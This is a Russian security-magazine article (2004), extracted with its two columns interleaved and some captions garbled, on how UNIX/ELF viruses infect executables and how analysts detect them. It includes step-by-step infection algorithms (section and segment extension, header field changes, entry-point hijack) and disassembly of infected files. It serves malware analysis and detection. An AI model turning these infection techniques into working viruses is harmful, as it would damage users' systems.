щая аббревиатура – среди UNIX-разработчиков всегда ! модификацией таблицы импорта (в терминологии
было много толкиенистов) очень похож на COFF и факти- a.out – таблицы символов) для подмены функций, что
чески является его разновидностью, спроектированной особенно актуально для Stealth-вирусов.
для обеспечения совместимости с 32- и 64-разрядными
архитектурами. В настоящее время – это основной фор- Всем этим махинациям (кроме приема с «поглощени-
мат исполняемых файлов в системах семейства UNIX. Не ем») очень трудно остаться незамеченными, и факт за-
то чтобы он всех сильно устраивал (та же FreeBSD сопро- ражения в подавляющем большинстве случаев удается
тивлялась нашествию Эльфов, как могла, но в версии 3.0 определить простым визуальным просмотром дизассем-
была вынуждена объявить ELF-формат как формат, ис- блерного листинга анализируемого файла. Подробнее об
пользуемый по умолчанию, поскольку последние версии этом мы поговорим чуточку позже, а пока обратим свое
популярного компилятора GNU C древних форматов уже внимание на механизмы системных вызовов, используе-
не поддерживают), но ELF – это общепризнанный стан- мые вирусами для обеспечения минимально необходимо-
дарт, с которым приходится считаться, хотим ли мы того го уровня жизнедеятельности.
или нет. Поэтому в настоящей статье речь главным об- Для нормального функционирования вирусу необхо-
разом пойдет о нем. Для эффективной борьбы с вируса- димы по меньшей мере четыре основных функции для
ми вы должны изучить ELF-формат во всех подробнос- работы с файлами (как то: открытие/закрытие/чтение/за-
тях. Вот два хороших руководства на эту тему: http:// пись файла) и опционально функция поиска файлов на
www.ibiblio.org/pub/historic-linux/ftp-archives/sunsite.unc.edu/ диске/сети. В противном случае вирус просто не сможет
Nov-06-1994/GCC/ELF.doc.tar.gz («Executable and Linkable реализовать свои репродуктивные возможности, и это уже
Format – Portable Format Specification») и http://www.nai.com/ не вирус получится, а Троянский Конь!

№1(14), январь 2004 11


безопасность
Существует по меньшей мере три пути для решения сильно затрудняет анализ. Код вируса навряд ли будет
этой задачи: очень большим, и на восстановление алгоритма шифро-
! использовать системные функции жертвы (если они у вания (если тот действительно имеет место) не уйдет
нее, конечно, есть); много времени.
! дополнить таблицу импорта жертвы всем необходи- Хуже, если вирус переносит часть оригинального фай-
мым; ла в сегмент данных, а часть – в сегмент кода. Такой файл
! использовать native-API операционной системы. выглядит как обыкновенная программа за тем единствен-
ным исключением, что большая часть кодового сегмента
И последнее. Ассемблерные вирусы (а таковых сре- представляет собой «мертвый код», никогда не получаю-
ди UNIX-вирусов подавляющее большинство) разитель- щий управления. Сегмент данных на первый взгляд выг-
но отличаются от откомпилированных программ нетипич- лядит как будто бы нормально, однако при внимательном
ным для языков высокого уровня лаконичным, но в то рассмотрении обнаруживается, что все перекрестные
же время излишне прямолинейным стилем. Поскольку ссылки (например, ссылки на текстовые строки) смеще-
упаковщики исполняемых файлов в мире UNIX практи- ны относительно их «родных» адресов. Как нетрудно до-
чески никем не используются, всякая посторонняя «на- гадаться – величина смещения и представляет собой дли-
шлепка» на исполняемый файл с высокой степенью ве- ну вируса.
роятности является троянской компонентой или вирусом. Дизассемблирование выявляет характерные для ви-
Теперь рассмотрим каждый из вышеперечисленных русов этого типа функции exec и fork, использующиеся
пунктов во всех подробностях. для запуска «вылеченного» файла, функцию chmod для
присвоения файлу атрибута исполняемого и т. д.
Заражение посредством поглощения файла
Вирусы этого типа пишутся преимущественно начина-
ющими программистами, еще не успевшими освоить
азы архитектуры операционной системы, но уже стре-
мящимися кому-то сильно напакостить. Алгоритм за-
ражения в общем виде выглядит так: вирус находит
жертву, убеждается, что она еще не заражена и что все
необходимые права на модификацию этого файла у
него присутствуют. Затем он считывает жертву в па-
мять (временный файл) и записывает себя поверх за-
ражаемого файла. Оригинальный файл дописывается
в хвост вируса как оверлей, либо же помещается в сег-
мент данных (см. рис. 1).
Получив управление, вирус извлекает из своего тела
содержимое оригинального файла, записывает его во
временный файл, присваивает ему атрибут исполняе-
мого и запускает «излеченный» файл на выполнение,
после чего удаляет с диска вновь. Поскольку подобные Ðèñóíîê 1. Òèïîâàÿ ñõåìà çàðàæåíèÿ èñïîëíÿåìîãî ôàéëà ïóòåì
манипуляции редко остаются незамеченными, некото- åãî ïîãëîùåíèÿ
рые вирусы отваживаются на «ручную» загрузку жерт-
вы с диска. Впрочем, процедуру для корректной заг-
рузки ELF-файла написать нелегко и еще сложнее ее
отладить, поэтому появление таких вирусов представ-
ляется достаточно маловероятным (ELF – это вам не Ðèñóíîê 2. Ïðèìåð ôàéëà, ïîãëîùåííîãî âèðóñîì UNIX.a.out.
Êðîõîòíûé, âñåãî â òðèñòà áàéò, ðàçìåð êîäîâîé ñåêöèè óêà-
простенький a.out!) çûâàåò íà âûñîêóþ âåðîÿòíîñòü çàðàæåíèÿ
Характерной чертой подобных вирусов является кро-
шечный сегмент кода, за которым следует огромный сег- Заражение посредством расширения
мент данных (оверлей), представляющий собой самосто- последней секции файла
ятельный исполняемый файл. Попробуйте контекстным Простейший способ неразрушающего заражения фай-
поиском найти ELF/COFF/a.out заголовок – в зараженном ла состоит в расширении последней секции/сегмента
файле их будет два! Только не пытайтесь дизассембли- жертвы и дозаписи своего тела в ее конец (далее по
ровать оверлей/сегмент данных, – осмысленного кода все тексту просто «секции», хотя применительно к ELF-фай-
равно не получится, т.к., во-первых, для этого требуется лам это будет несколько некорректно, т.к. системный
знать точное расположение точки входа, а во-вторых, рас- загрузчик исполняемых ELF-файлов работает исключи-
положить хвост дизассемблируемого файла по его закон- тельно с сегментами, а секции игнорирует). Строго го-
ным адресам. К тому же оригинальное содержимое фай- воря, это утверждение не совсем верно. Последней
ла может быть умышленно зашифровано вирусом, и тог- секцией файла, как правило, является секция .bss,
да дизассемблер вернет бессодержательный мусор, в предназначенная для хранения неинициализированных
котором будет непросто разобраться. Впрочем, это не данных. Внедряться сюда можно, но бессмысленно,

12
безопасность
поскольку загрузчик не настолько глуп, чтобы тратить гут присваивать секции данных атрибут Execute, выда-
драгоценное процессорное время на загрузку неини- вая тем самым себя с головой, впрочем, такие экземп-
циализированных данных с медленного диска. Правиль- ляры встречаются крайне редко, и подавляющее боль-
нее было бы сказать «последней значимой секции», но шинство вирусописателей оставляет секцию данных с
давайте не будем придираться, это ведь не научная ста- атрибутами по умолчанию.
тья, верно? Другой немаловажный и не очевидный на первый
Перед секций .bss обычно располагается секция .data, взгляд момент. Задумайтесь, как изменится поведение
содержащая инициализированные данные. Вот она-то и зараженного файла при внедрении вируса в не-после-
становится основным объектом вирусной атаки! Натра- днюю секцию .data, следом за которой расположена .bss?
вив дизассемблер на исследуемый файл, посмотрите, в А никак не изменится! Несмотря на то, что последняя
какой секции расположена точка входа. И если этой сек- секция будет спроецирована совсем не по тем адресам,
цией окажется секция данных (как, например, в случае, программный код об этом «не узнает» и продолжит об-
изображенном в листинге 5), исследуемый файл с вы- ращаться к неинициализированным переменным по их
сокой степенью вероятности заражен вирусом. прежним адресам, теперь занятых кодом вируса, кото-
При внедрении в a.out-файл вирус в общем случае дол- рый к этому моменту уже отработал и возвратил ориги-
жен проделать следующие действия: нальному файлу все бразды правления. При условии, что
! считав заголовок файла, убедиться, что это действи- программный код спроектирован корректно и не закла-
тельно a.out-файл; дывается на начальное значение неинициализированных
! увеличить поле a_data на величину, равную размеру переменных, присутствие вируса не нарушит работос-
своего тела; пособности программы.
! скопировать себя в конец файла; Однако в суровых условиях реальной жизни этот эле-
! скорректировать содержимое поля a_entry для пере- гантный прием заражения перестает работать, поскольку
хвата управления (если вирус действительно перехва- среднестатистическое UNIX-приложение содержит поряд-
тывает управление таким образом). ка десяти различных секций всех назначений и мастей.
Взгляните, например, на строение утилиты ls, позаимство-
Внедрение в ELF-файлы происходит несколько более ванной из следующего дистрибутива UNIX: Red Hat 5.0:
сложным образом:
! вирус открывает файл и, считывая его заголовок, убеж- Ëèñòèíã 5. Òàê âûãëÿäèò òèïè÷íàÿ êàðòà ïàìÿòè íîðìàëüíîãî ôàéëà
дается, что это действительно ELF;
! просматривая Program Header Table, вирус отыскива-
ет сегмент, наиболее подходящий для заражения (для
заражения подходит любой сегмент с атрибутом
PL_LOAD; собственно говоря, остальные сегменты
более или менее подходят тоже, но вирусный код в них
будет смотреться несколько странно);
! найденный сегмент «распахивается» до конца файла Секция .data расположена в самой «гуще» файла, и
и увеличивается на величину, равную размеру тела чтобы до нее добраться, вирусу придется позаботиться о
вируса, что осуществляется путем синхронной коррек- модификации семи остальных секций, скорректировав их
ции полей p_filez и p_memz; поля p_offset (смещение секции от начала файла) надле-
! вирус дописывает себя в конец заражаемого файла; жащим образом. Некоторые вирусы этого не делают, в
! для перехвата управления вирус корректирует точку результате чего зараженные файлы не запускаются.
входа в файл (e_entry), либо же внедряет в истинную С другой стороны, секция .data рассматриваемого
точку входа jmp на свое тело (впрочем, методика пе- файла насчитывает всего 10h байт, поскольку львиная
рехвата управления тема отдельного большого разго- часть данных программы размещена в секции .rodata (сек-
вора). ции данных, доступной только на чтение). Это типичная
практика современных линкеров, и большинство испол-
Маленькое техническое замечание. Секция данных, няемых файлов организованы именно так. Вирус не мо-
как правило, имеет всего лишь два атрибута: атрибут жет разместить свой код в секции .data, поскольку это де-
чтения (Read) и атрибут записи (Write). Атрибут испол- лает его слишком заметным, не может он внедриться и в
нения (Execute) у нее по умолчанию отсутствует. Озна- .rodata, т.к. в этом случае он не сможет себя расшифро-
чает ли это, что выполнение вирусного кода в ней ока- вать (выделить память на стеке и скопировать туда свое
жется невозможным? Вопрос не имеет однозначного тело – не предлагать: для современных вирусописателей
ответа. Все зависит от особенностей реализации конк- это слишком сложно). Да и смысла в этом будет немного.
ретного процессора и конкретной операционной систе- Коль скоро вирусу приходится внедряться не в конец, а в
мы. Некоторые из них игнорируют отсутствие атрибута середину файла, уж лучше ему внедриться не в секцию
исполнения, полагая, что право исполнения кода напря- данных, а в секцию .text, содержащую машинный код. Там
мую вытекает из права чтения. Другие же возбуждают вирус будет не так заметен (он об этом мы поговорим поз-
исключение, аварийно завершая выполнение заражен- же см. «Заражение посредством расширения кодовой
ной программы. Для обхода этой ситуации вирусы мо- секции файла»).

№1(14), январь 2004 13


безопасность
при таком способе заражения длина файла остается неиз-
менной, что частично скрывает факт наличия вируса.
Рассмотрим, как происходит внедрение вируса в ко-
довый сегмент. В простейшем случае вирус сканирует
файл на предмет поиска более или менее длинной после-
довательности команд NOP, использующихся для вырав-
нивания программного кода по кратным адресам, запи-
сывает в них кусочек своего тела и добавляет команду
перехода на следующий фрагмент. Так продолжается до
тех пор, пока вирус полностью не окажется в файле. На
завершающем этапе заражения вирус записывает адре-
са «захваченных» им фрагментов, после чего передает
управление файлу-носителю (если этого не сделать, ви-
рус не сможет скопировать свое тело в следующий зара-
жаемый файл, правда, пара особо изощренных вирусов
Ðèñóíîê 3. Òèïîâàÿ ñõåìà çàðàæåíèÿ èñïîëíÿåìîãî ôàéëà ïóòåì содержит встроенный трассировщик, автоматически со-
ðàñøèðåíèÿ åãî ïîñëåäíåé ñåêöèè
бирающий тело вируса на лету, но это чисто лаборатор-
ные вирусы, и на свободе им не гулять).
Различные программы содержат различное количе-
ство свободного места, расходующегося на выравнива-
ние. В частности, программы, входящие в базовый комп-
лект поставки FreeBSD 4.5, преимущественно откомили-
рованы с выравниванием на величину 4-х байт. Учитывая,
что команда безусловного перехода в x86-системах зани-
мает по меньшей мере два байта, втиснуться в этот скром-
ный объем вирусу просто нереально. С операционной сис-
темой Red Hat 5.0 дела обстоят иначе. Кратность выравни-
вания, установленная на величину от 08h до 10h байт, с
легкостью вмещает в себя вирус средних размеров.
Ниже в качестве примера приведен фрагмент дизассем-
блерного листинга утилиты PING, зараженной вирусом
UNIX.NuxBe.quilt (модификация известного вируса NuxBee,
Ðèñóíîê 4. Âíåøíèé âèä ôàéëà, çàðàæåííîãî âèðóñîì
PolyEngine.Linux.LIME.poly; âèðóñ âíåäðÿåò ñâîå òåëî â êî- опубликованного в электронном журнале, выпускаемом
íåö ñåêöèè äàííûõ è óñòàíàâëèâàåò íà íåãî òî÷êó âõîäà. группой #29A). Даже начинающий исследователь легко об-
Íàëè÷èå èñïîëíÿåìîãî êîäà â ñåêöèè äàííûõ äåëàåò ïðèñóò-
ñòâèå âèðóñà ÷ðåçâû÷àéíî çàìåòíûì наружит присутствие вируса в теле программы. Характер-
ная цепочка jmp, протянувшаяся через весь сегмент дан-
Сжатие части оригинального файла ных, не может не броситься в глаза. В «честных» програм-
Древние считали, что истина в вине. Они явно ошибались. мах такого практически никогда не бывает (хитрые конвер-
Истина в том, что день ото дня программы становятся все тные защиты и упаковщики исполняемых файлов, постро-
жирнее и жирнее, а вирусы все изощреннее и изощреннее. енные на полиморфных движках, мы оставим в стороне).
Какой бы уродливый код ни выбрасывала на рынок фирма Отметим, что фрагменты вируса не обязательно дол-
Microsoft, он все же лучше некоторых UNIX-подделок. На- жны следовать линейно. Напротив, вирус (если только его
пример файл cat, входящий в FreeBSD 4.5, занимает более создатель не даун) предпримет все усилия, чтобы замас-
64 Кб. Не слишком ли много для простенькой утилиты?! кировать факт своего существования. Вы должны быть
Просмотр файла под HEX-редактором обнаруживает готовы к тому, что jmp будут блохой скакать по всему фай-
большое количество регулярных последовательностей (в лу, используя «левые» эпилоги и прологи для слияния с
большинстве своем – цепочек нулей), которые либо вооб- окружающими функциями. Но этот обман легко разобла-
ще никак не используется, либо поддаются эффективному чить по перекрестным ссылкам, автоматически генери-
сжатию. Вирус, соблазнившись наличием свободного мес- руемым дизассемблером IDA Pro (на подложные проло-
та, может скопировать туда свое тело, пускай ему и придет- ги/эпилоги перекрестные ссылки отсутствуют!):
ся «рассыпаться» на несколько десятков пятен. Если же сво-
бодное место отсутствует – не беда! Практически каждый Ëèñòèíã 6. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì UNIX.NuxBe.quilt,
«ðàçìàçûâàþùèì» ñåáÿ ïî êîäîâîé ñåêöèè
исполняемый файл содержит большое количество тексто-
вых строк, а текстовые строки, как хорошо известно, легко .text:08000BD9 xor eax, eax
.text:08000BDB xor ebx, ebx
поддаются сжатию. На первый взгляд, такой алгоритм зара- .text:08000BDD jmp short loc_8000C01
жения кажется чрезвычайно сложным, но, поверьте, реали- …
.text:08000C01 loc_8000C01: ; CODE XREF: .text:0800BDD↑j
зовать простейший упаковщик Хаффмана намного проще .text:08000C01 mov ebx, esp
того шаманства с раздвижками секций, что приходится де- .text:08000C03 mov eax, 90h
.text:08000C08 int 80h ; LINUX - sys_msync
лать вирусу для внедрения в середину файла. К тому же .text:08000C0A add esp, 18h

14
безопасность
.text:08000C0D jmp loc_8000D18 Исследователи, имеющие некоторый опыт работы с
… IDA, здесь, возможно, возразят: мол, какие проблемы?
.text:08000D18 loc_8000D18: ; CODE XREF: .text:08000C0D↑j
.text:08000D18 dec eax Подогнал курсор к первому символу, следующему за кон-
.text:08000D19 jns short loc_8000D53 цом ASCIIZ-строки, нажал на <C>, и… дизассемблер мгно-
.text:08000D1B jmp short loc_8000D2B
… венно распахнул код вируса, живописно вплетенный в
.text:08000D53 loc_8000D53: ; CODE XREF: .text:08000D19↑j текстовые строки (см. листинг 7). На самом деле так слу-
.text:08000D53 inc eax
.text:08000D54 mov [ebp+8000466h], eax чается только в теории. Среди нечитабельных символов
.text:08000D5A mov edx, eax вируса присутствуют и читабельные тоже. Эвристический
.text:08000D5C jmp short loc_8000D6C
анализатор IDA, ошибочно приняв последние за «настоя-
Кстати говоря, рассмотренный нами алгоритм не со- щие» текстовые строки, просто не позволит их дизассем-
всем корректен. Цепочка NOP может встретиться в лю- блировать. Ну, во всяком случае до тех пор, пока они явно
бом месте программы (например, внутри функции), и тог- не будут «обезличены» нажатием клавиши <U>. К тому
да зараженный файл перестанет работать. Чтобы этого же вирус может вставлять в начало каждого своего фраг-
не произошло, некоторые вирусы выполняют ряд допол- мента специальный символ, являющийся частью той или
нительных проверок, в частности убеждаются, что NOP иной машинной команды и сбивающий дизассемблер с
расположены между двумя функциями, опознавая их по толку. В результате IDA дизассемблирует всего лишь
командам пролога/эпилога. один-единственный фрагмент вируса (да и тот некоррек-
Внедрение в секцию данных осуществляется еще про- тно), после чего заткнется, подталкивая нас к индуктив-
ще. Вирус ищет длинную цепочку нулей, разделенную ному выводу, что мы имеем дело с легальной структурой
читабельными (точнее – printable) ASCII-символами и, най- данных, и зловредный машинный код здесь отродясь не
дя таковую, полагает, что он находится на ничейной тер- ночевал.
ритории, образовавшейся в результате выравнивания тек- Увы! Какой бы могучей IDA ни была, она все-таки не
стовых строк. Поскольку текстовые строки все чаще рас- всесильна, и над всяким полученным листингом вам еще
полагаются в секции .rodata, доступной лишь на чтение, предстоит поработать. Впрочем, при некотором опыте
вирус должен быть готов сохранять все модифицируемые дизассемблирования многие машинные команды распоз-
им ячейки на стеке и/или динамической памяти. наются в HEX-дампе с первого взгляда (пользуясь случа-
Забавно, но вирусы этого типа достаточно трудно об- ем, отсылаю вас к «Технике и философии хакерских атак/
наружить. Действительно, наличие нечитабельных ASCII- дизассемблирование в уме», ставшей уже библиографи-
символов между текстовыми строками – явление вполне ческой редкостью, т.к. ее дальнейших переизданий уже
нормальное. Может быть, это смещения или еще какие не планируется):
структуры данных, на худой конец – мусор, оставленный
линкером! Ëèñòèíã 7. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì
UNIX.NuxBe.jullet, «0ðàçìàçûâàþùèì» ñåáÿ ïî ñåêöèè äàííûõ
Взгляните на рисунок 5, приведенный ниже. Согласитесь,
что факт зараженности файла вовсе не так очевиден: .rodata:08054140 aFileNameTooLon db 'File name too long',0
.rodata:08054153 ; ----------------------------------------
.rodata:08054153 mov ebx, 1
.rodata:08054158 mov ecx, 8049A55h
.rodata:08054158 jmp loc_80541A9
.rodata:08054160 ; ---------------------------------------
.rodata:08054160 aTooManyLevelsO db 'Too many levels ↵
of symbolic links',0
.rodata:08054182 aConnectionRefu db 'Connection refused',0
.rodata:08054195 aOperationTimed db 'Operation timed out',0
.rodata:080541A9 ; ---------------------------------------
.rodata:080541A9 loc_80541A9:
.rodata:080541A9 mov edx, 2Dh
.rodata:080541AE int 80h ; LINUX -
.rodata:080541B0 mov ecx, 51000032h
.rodata:080541B5 mov eax, 8
.rodata:080541BA jmp loc_80541E2
.rodata:080541BA ; ---------------------------------------
.rodata:080541BF db 90h ; Ð
.rodata:080541C0 aTooManyReferen db 'Too many references: ↵
can',27h,'t splice',0
.rodata:080541E2 ; ---------------------------------------
.rodata:080541E2 loc_80541E2:
.rodata:080541E2 mov ecx, 1FDh
.rodata:080541E7 int 80h ; LINUX - sys_creat
.rodata:080541E9 push eax
.rodata:080541EA mov eax, 0
.rodata:080541EF add [ebx+8049B43h], bh
.rodata:080541F5 mov ecx, 8049A82h
.rodata:080541FA jmp near ptr unk_8054288
.rodata:080541FA ; ---------------------------------------
.rodata:080541FF db 90h ; Ð
.rodata:08054200 aCanTSendAfterS db 'Can',27h,'t send ↵
after socket shutdown',0

Однако требуемого количества междустрочных байт


Ðèñóíîê 5. Òàê âûãëÿäåë ôàéë cat äî (íàâåðõó) è ïîñëå (ñíèçó)
åãî çàðàæåíèÿ удается наскрести далеко не во всех исполняемых фай-

№1(14), январь 2004 15


безопасность
лах, и тогда вирус может прибегнуть к поиску более или реально заниматься? Так что, как ни крути, а вирусы это-
менее регулярной области с последующим ее сжатием. В го типа имеют все шансы на выживание, пусть массовых
простейшем случае ищется цепочка, состоящая из оди- эпидемий им никогда не видать.
наковых байт, сжимаемая по алгоритму RLE. При этом
вирус должен следить за тем, чтобы не нарваться на мину Ëèñòèíã 9. Òàê âûãëÿäèò ñåêöèÿ .bss â äèçàññåìáëåðå IDA Pro
è áîëüøèíñòâå äðóãèõ äèçàññåìáëåðîâ
перемещаемых элементов (впрочем, ни один из извест-
ных автору вирусов этого не делал). Получив управление
и совершив все, что он хотел совершить, вирус забрасы-
вает на стек распаковщик сжатого кода, отвечающий за
приведение файла в исходное состояние. Легко видеть,
что таким способом заражаются лишь секции, доступные
как на запись, так и на чтение (т.е. наиболее соблазни-
тельные секции .rodata и .text уже не подходят, ну разве Заражение посредством расширения
что вирус отважится изменить их атрибуты, выдавая факт кодовой секции файла
заражения с головой). Наибольшую скрытность вирусу обеспечивает внедрение
Наиболее настырные вирусы могут поражать и сек- в кодовую секцию заражаемого файла, находящуюся глу-
ции неинициализированных данных. Нет, это не ошибка, боко в середине последнего. Тело вируса, сливаясь с ис-
такие вирусы действительно есть. Их появление объяс- ходным машинным кодом, виртуально становится совер-
няется тем обстоятельством, что полноценный вирус в шенно не отличимым от «нормальной» программы, и об-
«дырах», оставшихся от выравнивания, разместить все- наружить такую заразу можно лишь анализом ее алго-
таки трудно, но вот вирусный загрузчик туда влезает впол- ритма (см. также «Основные признаки вирусов»).
не. Секции неинициализированных данных, строго гово- Безболезненное расширение кодовой секции возмож-
ря, не только не обязаны загружаться с диска в память но лишь в ELF- и COFF-файлах (под «безболезненнос-
(хотя некоторые UNIX их все-таки загружают), но могут тью» здесь понимается отсутствие необходимости в пе-
вообще отсутствовать в файле, динамически создаваясь рекомпиляции файла-жертвы), и достигается оно за счет
системным загрузчиком на лету. Однако вирус и не соби- того замечательного обстоятельства, что стартовые вир-
рается искать их в памяти! Вместо этого он вручную счи- туальные адреса сегментов/секций отделены от их физи-
тывает их непосредственно с самого зараженного файла ческих смещений, отсчитываемых от начала файла.
(правда, в некоторых случаях доступ к текущему выпол- Алгоритм заражения ELF-файла в общем виде выгля-
няемому файлу предусмотрительно блокируется опера- дит так (внедрение в COFF-файлы осуществляется ана-
ционной системой). логичным образом):
На первый взгляд, помещение вирусом своего тела в ! вирус открывает файл и, считав его заголовок, убеж-
секции неинициализированных данных ничего не меня- дается, что это действительно ELF;
ет (если даже не демаскирует вирус), но при попытке ! заголовок таблицы секций (Section Header Table) пе-
поимки такого вируса за хвост он выскользнет из рук. ремещается вниз на величину, равную длине тела ви-
Секция неинициализированных данных визуально ничем руса. Для этого вирус увеличивает содержимое поля
не отличается от всех остальных секций файла, и со- e_shoff, оккупирующего 20h – 23h байты ELF-заголов-
держать она может все, что угодно: от длинной серии ка, (примечание: заголовок таблицы секций, равно как
нулей, до копирайтов разработчика. В частности, созда- и сами секции, имеет значение только для компоно-
тели дистрибутива FreeBSD 4.5 именно так и поступают вочных файлов, загрузчик исполняемых файлов их иг-
(см. листинг 8). норирует, независимо от того, присутствуют они в фай-
ле или нет);
Ëèñòèíã 8. Òàê âûãëÿäèò ñåêöèÿ .bss áîëüøèíñòâà ôàéëîâ èç êîì-
ïëåêòà ïîñòàâêè Free BSD
! просматривая Program Header Table, вирус находит сег-
мент, наиболее предпочтительный для заражения (т.е.
тот сегмент, в который указывает точка входа);
! длина найденного сегмента увеличивается на величи-
ну, равную размеру тела вируса. Это осуществляется
путем синхронной коррекции полей p_filez и p_memz;
! все остальные сегменты смещаются вниз, при этом
поле p_offset каждого из них увеличивается на длину
тела вируса;
Ряд дизассемблеров (и IDA Pro в том числе) по вполне ! анализируя заголовок таблицы секций (если он толь-
логичным соображениям не загружает содержимое сек- ко присутствует в файле), вирус находит секцию, наи-
ций неинициализированных данных, явно отмечая это более предпочтительную для заражения (как прави-
обстоятельство двойным знаком вопроса (см. листинг 9). ло, заражается секция, находящаяся в сегменте пос-
Приходится исследовать файл непосредственно в HIEW ледней: это избавляет вируса от необходимости пере-
или любом другом HEX-редакторе, разбирая a.out/ELF- мещения всех остальных секций вниз);
формат «вручную», т.к. популярные HEX-редакторы его ! размер заражаемой секции (поле sh_size) увеличива-
не поддерживают. Скажите честно: готовы ли вы этим ется на величину, равную размеру тела вируса;

16
безопасность
! все хвостовые секции сегмента смещаются вниз, при ку визуально структура файла выглядит неискаженной.
этом поле sh_offset каждой из них увеличивается на Однако некоторые зацепки все-таки есть. Во-первых, ори-
длину тела вируса (если вирус внедряется в последнюю гинальная точка входа подавляющего большинства фай-
секцию сегмента, этого делать не нужно); лов расположена в начале кодовой секции, а не в ее кон-
! вирус дописывает себя к концу заражаемого сегмен- це. Во-вторых, зараженный файл имеет нетипичный стар-
та, физически смещая содержимое всей остальной ча- товый код (подробнее об этом рассказывалось в преды-
сти файла вниз; дущей статье). И, в-третьих, далеко не все вирусы забо-
! для перехвата управления вирус корректирует точку тятся о выравнивании сегментов (секций).
входа в файл (e_entry) либо же внедряет в истинную Последний случай стоит рассмотреть особо. Систем-
точку входа jmp на свое тело (впрочем, методика пе- ному загрузчику, ничего не знающему о существова-
рехвата управления – тема отдельного большого раз- нии секций, степень их выравнивания некритична. Тем
говора). не менее, во всех нормальных исполняемых файлах сек-
ции тщательно выровнены на величину, указанную в
Прежде чем приступить к обсуждению характерных поле sh_addralign. При заражении файла вирусом пос-
«следов» вирусного внедрения, давайте посмотрим, ка- ледний далеко не всегда оказывается так аккуратен, и
кие секции в каких сегментах обычно бывают расположе- некоторые секции могут неожиданно для себя очутить-
ны. Оказывается, схема их распределения далеко не од- ся по некратным адресам. Работоспособности програм-
нозначна и возможны самые разнообразные вариации. В мы это не нарушит, но вот факт вторжения вируса сра-
одних случаях секции кода и данных помещаются в от- зу же демаскирует.
дельные сегменты, в других – секции данных, доступные Сегменты выравнивать тоже необязательно (при не-
только на чтение, объединяются с секциями кода в еди- обходимости системный загрузчик сделает это сам), од-
ный сегмент. Соответственно и последняя секция кодо- нако программистский этикет предписывает выравнивать
вого сегмента каждый раз будет иной. секции, даже если поле p_align равно нулю (т.е. выравни-
Большинство файлов включает в себя более одной вания не требуется). Все нормальные линкеры выравни-
кодовой секции, и располагаются эти секции приблизи- вают сегменты по крайней мере на величину, кратную
тельно так: 32 байтам, хотя это происходит и не всегда. Тем не ме-
нее, если сегменты, следующие за сегментом кода, вы-
Ëèñòèíã 10. Ñõåìà ðàñïîëîæåíèÿ êîäîâûõ ñåêöèé òèïè÷íîãî ôàéëà ровнены на меньшую величину – к такому файлу следует
.init ñîäåðæèò èíèöèàëèçàöèîííûé êîä присмотреться повнимательнее.
.plt ñîäåðæèò òàáëèöó ñâÿçêè ïîäïðîãðàìì Другой немаловажный момент: при внедрении вируса
.text ñîäåðæèò îñíîâíîé êîä ïðîãðàììû
.fini ñîäåðæèò òåðìèðóþùèé êîä ïðîãðàììû в начало кодового сегмента он может создать свой соб-
ственный сегмент, предшествующий данному. И тут ви-
Присутствие секции .finit делает секцию .text не после- рус неожиданно сталкивается с довольно интересной про-
дней секцией кодового сегмента файла, как чаще всего и блемой. Сдвинуть кодовый сегмент вниз он не может, т.к.
происходит. Таким образом, в зависимости от стратегии тот обычно начинается с нулевого смещения в файле,
распределения секций по сегментам, последней секцией перекрывая собой предшествующие ему сегменты. За-
файла обычно является либо секция .finit, либо .rodata. раженная программа в принципе может и работать, но
Секция .finit в большинстве своем это такая крохот- раскладка сегментов становится слишком уж необычной,
ная секция, заражение которой трудно оставить неза- чтобы ее не заметить.
меченным. Код, расположенный в секции .finit и непос- Выравнивание функций внутри секций – это вообще
редственно перехватывающий на себя нить выполне- вещь (в смысле: вещдок – вещественное доказательство).
ния программой, выглядит несколько странно, если не Кратность выравнивания функций нигде и никак не дек-
сказать – подозрительно (обычно управление на .finit ларируется, и всякий программист склонен выравнивать
передается косвенным образом как аргумент функции функции по-своему. Одни используют выравнивание на
atexit). Вторжение будет еще заметнее, если последней адреса, кратные 04h, другие – 08h, 10h или даже 20h! Оп-
секцией в заражаемом сегменте окажется секция ределить степень выравнивания без качественного дизас-
.rodata (машинный код при нормальном развитии со- семблера практически невозможно. Требуется выписать
бытий в данные никогда не попадает). Не остается не- стартовые адреса всех функций и найти наибольший де-
замеченным и вторжение в конец первой секции кодо- литель, на который все они делятся без остатка. Дописы-
вого сегмента (в последнюю секцию сегмента, предше- вая себя в конец кодового сегмента, вирус наверняка
ствующему кодовому сегменту), поскольку кодовый ошибется с выравниванием адреса пролога функции (если
сегмент практически всегда начинается с секции .init, он вообще позаботится о создании функции в этом мес-
вызываемой из глубины стартового кода и по обыкно- те!), и он окажется отличным от степени выравнивания,
вению содержащей пару-тройку машинных команд. принятой всеми остальными функциями (попутно заме-
Вирусу здесь будет просто негде затеряться, и его при- тим, что определять степень выравнивания при помощи
сутствие сразу же становится заметным! дизассемблера IDA PRO – плохая идея, т.к. она определя-
Более совершенные вирусы внедряются в конец сек- ет ее неправильно, закладываясь на наименьшее возмож-
ции .text, сдвигая все остальное содержимое файла вниз. ное значение, в результате чего вычисленная степень вы-
Распознать такую заразу значительно сложнее, посколь- равнивания от функции к функции будет варьироваться).

№1(14), январь 2004 17


безопасность
Классическим примером вируса, внедряющегося в файл ! программный код расположен в области, не принад-
путем расширения кодового сегмента, является вирус лежащей никакой секции.
Linux.Vit.4096. Любопытно, что различные авторы по-раз-
ному описывают стратегии, используемые вирусом для Следует сказать, что исследование файлов с искажен-
заражения. Так, Евгений Касперский почему-то считает, что ным заголовком таблицы секций представляет собой до-
вирус Vit записывается в начало кодовой секции заражае- статочно простую проблему. Дизассемблеры и отладчи-
мого файла (http://www.viruslist.com/viruslist.html?id=3276), ки либо виснут, либо отображают такой файл неправиль-
в то время как он размещает свое тело в конце кодового но, либо же не загружают его вообще. Поэтому, если вы
сегмента файла (http://www.nai.com/common/media/vil/pdf/ планируете заниматься исследованием зараженных фай-
mvanvoers_VB_conf 202000.pdf). Ниже приведен фрагмент лов не день и не два, лучше всего будет написать свою
ELF-файла, зараженного вирусом Vit. собственную утилиту для их анализа.

Сдвиг кодовой секции вниз


Трудно объяснить причины, по которым вирусы внедря-
ются в начало кодовой секции (сегмента) заражаемого
файла или создают свой собственную секцию (сегмент),
располагающуюся впереди. Этот прием не обеспечивает
никаких преимуществ перед записью своего тела в конец
кодовой секции (сегмента) и к тому же намного сложнее
Ðèñóíîê 6. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì Lin/Vit. Ïîëÿ, реализуется. Тем не менее, такие вирусы существуют и
